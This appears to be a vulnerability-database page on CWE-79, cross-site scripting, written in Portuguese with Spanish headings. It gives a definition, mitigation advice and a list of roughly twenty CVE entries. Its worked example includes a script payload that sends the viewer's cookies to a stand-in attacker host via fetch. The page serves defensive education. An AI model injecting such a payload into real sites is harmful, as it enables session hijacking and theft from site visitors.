Fallos del tipo CWE-79

29.827 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-53925MEDIUMUliCMS 2023.1 Stored Cross-Site Scripting via SVG File UploadEPSS 0.4%CVE-2024-32558HIGHWordPress eCommerce Product Catalog plugin <= 3.3.32 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2022-43909MEDIUMIBM Security Guardium cross-site scriptingEPSS 0.4%CVE-2024-1590MEDIUMPage Builder: Pagelayer – Drag and Drop website builder <= 1.8.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via ButtonEPSS 0.4%CVE-2024-40845MEDIUMThe issue was addressed with improved memory handling. This issue is fixed in macOS Sequoia 15, macOS Sonoma 14.7. Processing a maliciously EPSS 0.4%CVE-2022-42908MEDIUMWEPA Print Away is vulnerable to a stored XSS. It does not properly sanitize uploaded filenames, allowing an attacker to deceive a user intoEPSS 0.4%CVE-2025-15454LOWzhanglun lettura RSS ContentRender.tsx cross site scriptingEPSS 0.4%CVE-2022-43871MEDIUMIBM Financial Transaction Manager for SWIFT Services cross-site scriptingEPSS 0.4%CVE-2022-43578MEDIUMIBM Sterling B2B Integrator Standard Edition cross-site scriptingEPSS 0.4%CVE-2023-24464MEDIUMStored-cross-site scripting vulnerability in Buffalo network devices allows an attacker with access to the web management console of the proEPSS 0.4%CVE-2024-4617MEDIUMRank Math SEO with AI Best SEO Tools <= 1.0.218 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2023-26283MEDIUMIBM WebSphere Application Server cross-site scriptingEPSS 0.4%CVE-2024-22149HIGHWordPress cformsII plugin <= 15.0.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-23683HIGHWordPress MACME plugin <= 1.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-23630HIGHWordPress Cyber Slider plugin <= 1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-29387MEDIUMWordPress Manager for Icomoon Plugin <= 2.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-23632HIGHWordPress CG Button plugin <= 1.0.5.6 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-23701HIGHWordPress Lime Developer Login plugin <= 1.4.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-23543HIGHWordPress FOMO Pay Chinese Payment Solution plugin <= 2.0.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-23612HIGHWordPress Pixobe Cartography plugin <= 1.0.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%